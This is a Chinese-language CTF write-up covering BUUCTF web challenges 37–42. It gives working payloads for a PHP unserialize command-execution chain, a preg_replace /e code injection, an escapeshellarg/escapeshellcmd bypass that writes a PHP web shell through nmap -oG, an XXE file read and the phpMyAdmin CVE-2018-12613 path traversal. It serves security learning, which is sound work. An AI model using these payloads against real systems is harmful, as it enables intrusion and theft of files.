Buuctf-Web(37-42)

37[网鼎杯 2020 朱雀组]phpweb

参考

[网鼎杯 2020 朱雀组]phpweb 1-CSDN博客

[buuctf-网鼎杯 2020 朱雀组]phpweb(小宇特详解)_buuctf [网鼎杯 2020 朱雀组]phpweb-CSDN博客

打开是这个界面,大概5秒刷新一次

image-20240603195041346

先来一遍扫目录,看源码,抓包

一扫就409,应该做了限制,源码没发现什么,抓包看看吧

抓包发现有两个参数

image-20240603201304097

猜测func和p的关系,修改参数值

image-20240603202649090

image-20240603202725975

发现回显就是MD5(123)

func=file_get_contentse&p=index.php

image-20240603203504008

image-20240603203807858

由于使用了call_user_func(),允许执行任意的PHP代码或命令,所以这里存在命令执行的漏洞,这个就是突破口

反序列化构造POP链

image-20240603205044138

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

image-20240603205243818

没有flag信息

我们使用linux find 命令查找

find命令

用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

查找目录:find /(查找范围) -name '查找关键字' -type d
查找文件:find /(查找范围) -name 查找关键字 -print 

system(“find / -name flag”):查找所有文件名匹配flag的文件

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

image-20240603205940846

读取flag

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

image-20240603211437963

38[BJDCTF2020]ZJCTF,不过如此

参考

[BUUCTF:BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此-CSDN博客

[BJDCTF2020]ZJCTF,不过如此 - L0VEhzzz - 博客园 (cnblogs.com)

image-20240603211533548

抓包试了都不行,原来text=I have a dream是不正确的

file_get_contents去读取文件内容,使用data协议写入,data://text/plain

然后file读取next.php内容,php://filter读取源码

payload:

text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

得到

PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

这里的漏洞出在preg_replace /e 模式下

PHP正则表达式的逆向引用与子模式分析_正则在线逆向解析-CSDN博客

所捕获的每个子匹配都按照在正则表达式模式中从左至右所遇到的内容按顺序存储。 存储子匹配的缓冲区编号从1开始,连续编号至最大99个子表达式。 每个缓冲区都可以使用'\n'(或用'$n')访问,其中n为1至99的阿拉伯数字,用来按顺序标识特定缓冲区(子表达式)

e模式下的preg_replace可以让第二个参数'替换字符串'当作代码执行,但是这里第二个参数是不可变的,但因为有这种特殊的情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower("\1")正好表达的就是匹配区的第一个(\1=\1),从而我们如果匹配可以,则可以将函数实现。
比如我们传入 ?.*={${phpinfo()}}

原句:preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);

就变成preg_replace('/(' .* ')/ei','strtolower("\\1")',{${phpinfo()}});

又因为$_GET传入首字母是非法字符时候会把 .(点号)改成下划线,因此得将\*换成\S*

payload:

?\S*=${getFlag()}&cmd=system('ls /');

/?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');

PHP伪协议总结 - 个人文章 - SegmentFault 思否

image-20240603220736465

39[BUUCTF 2018]Online Tool

参考:

[buuctf-BUUCTF 2018]Online Tool(小宇特详解)_[buuctf 2018]online tool 1 php rce-CSDN博客

image-20240603220842945

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {  
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];  
}

$_SERVER['HTTP_X_FORWARDED_FOR'](通常是代理服务器或负载均衡器传递的原始客户端IP) $_SERVER['REMOTE_ADDR'](通常表示直接连接到服务器的客户端IP)

$_SERVER 可以获取服务器和执行环境信息
HTTP_X_FORWARDED_FOR HTTP扩展头部,用来表示http请求端真实ip
REMOTE_ADDR代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP。

else {    

	$host = $_GET['host'];     
 	$host = escapeshellarg($host);    
    //escapeshellarg
    //1,确保用户值传递一个参数给命令
    //2,用户不能指定更多的参数
    //3,用户不能执行不同的命令
 	$host = escapeshellcmd($host);   
    //escapeshellcmd
    //1,确保用户只执行一个命令
    //2,用户可以指定不限数量的参数
    //3,用户不能执行不同的命令
    ...   
    }
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);  
echo 'you are in sandbox '.$sandbox;  
@mkdir($sandbox);  
chdir($sandbox);

这部分代码创建了一个基于 $_SERVER['REMOTE_ADDR'](可能是代理后的IP)的 MD5 哈希值的沙箱目录。然后,它切换到该目录。使用 @ 符号是为了抑制可能的错误消息。

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

这部分代码使用 PHP 的 system 函数执行 nmap 命令,这是一个常用的网络扫描工具。

代码整体功能:
1,首先判断客户端提供给服务器和服务器自动获取的ip是否一致。
2,判断get host参数时候传值,没有传值高亮当前代码。
3,传值,host传递参数经过escapeshellarg,escapeshellcmd函数的限制。也就是说在host变量里面我们不能使用 ; & | 等符号来执行多条命令
4,以’glzjin’+ip通过md5加密形成值,并作为文件名创建文件,当前文件地址更改为创建的文件
5,输出 system执行结果。

escapeshellarg和escapeshellcmd一起使用的时候存在漏洞:

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对成了一个空白连接符。
所以经过我们构造之后,输入的值被分割成为了三部分,第一部分就是curl的IP,为172.17.0.2\  ,第二部分就是两个配对的单引号 ' ' ,第三部分就是命令参数以及对象 -v -d a=1'
所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

我们可以参数绕过这两个过滤函数。

nmap有一个参数-oG可以实现将命令和结果写到文件

所以我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag

?host=' <?php echo phpinfo();?> -oG test.php '

因为单引号被过滤了,我们使用反引号cat /flag

?host=' <?php echo `cat /flag`;?> -oG test.php '

image-20240603224338957

访问/9da5434c7bf17c92d0d5dc0b9f954fcb/test.php

image-20240603224614753

40[GXYCTF2019]禁止套娃

image-20240604100922027

看源码,抓包,扫目录

dirsearch扫出来的,访问/.git被禁止,访问另外两个下载了对应文件

image-20240604102137750

./git泄露

Git信息泄露原理解析及利用总结 - FreeBuf网络安全行业门户

可通过工具来下载git泄露的全部源码,比如GIitHack

试了很多遍都扫不到

先到这

41[NCTF2019]Fake XML cookbook

参考:

[XXE漏洞学习和利用—NCTF2019]Fake XML cookbook - s1awwhy - 博客园 (cnblogs.com)

从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)

虽然知道不是sql注入,但还是走一遍流程

image-20240604105057438

源码可以看到是xxe漏洞,与题目呼应住了

image-20240604105153345

输入个包含命名实体(内部实体)的xml数据看看有没有回显(只能判断是否存在回显,不能判断是否支持外部实体)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY xxe "chacha">]>
<user><username>&xxe;</username><password>123</password></user>

有回显

image-20240604121411272

已经判断了输入内部实体是有回显的,那接下来可以用带内外部实体注入的方法,来确定是否支持外部实体,以及实施攻击。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [    
<!ENTITY xxe SYSTEM "file:///flag">]>
<user><username>&xxe;</username><password>123</password></user>

image-20240604121824952

42[GWCTF 2019]我有一个数据库

考点:

  1. 目录扫描robots.txt
  2. phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

image-20240604121951283

日常看源码,扫目录

image-20240604123337882

image-20240604123649396

先看看rotbots.txt

关于Robots.txt和SEO: 你所需要知道的一切 (ahrefs.com)

访问提示phpinfo.php

image-20240604123256817

访问/phpmyadmin/ChangeLog

image-20240604123854612

访问/phpmyadmin

image-20240604123927394

看到一些信息

image-20240604124047714

可以根据这些信息搜索相关漏洞

查询到phpMyAdmin4.8.1版本存在任意文件读取漏洞:

phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客

漏洞原因:phpMyadmin 4.8.1版本的index.php中存在文件包含漏洞,通过 二次url编码 即可绕过过滤。

/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../flag

image-20240604125641294

posted @ 2024-06-04 13:01  machacha  阅读(26)  评论(0编辑  收藏  举报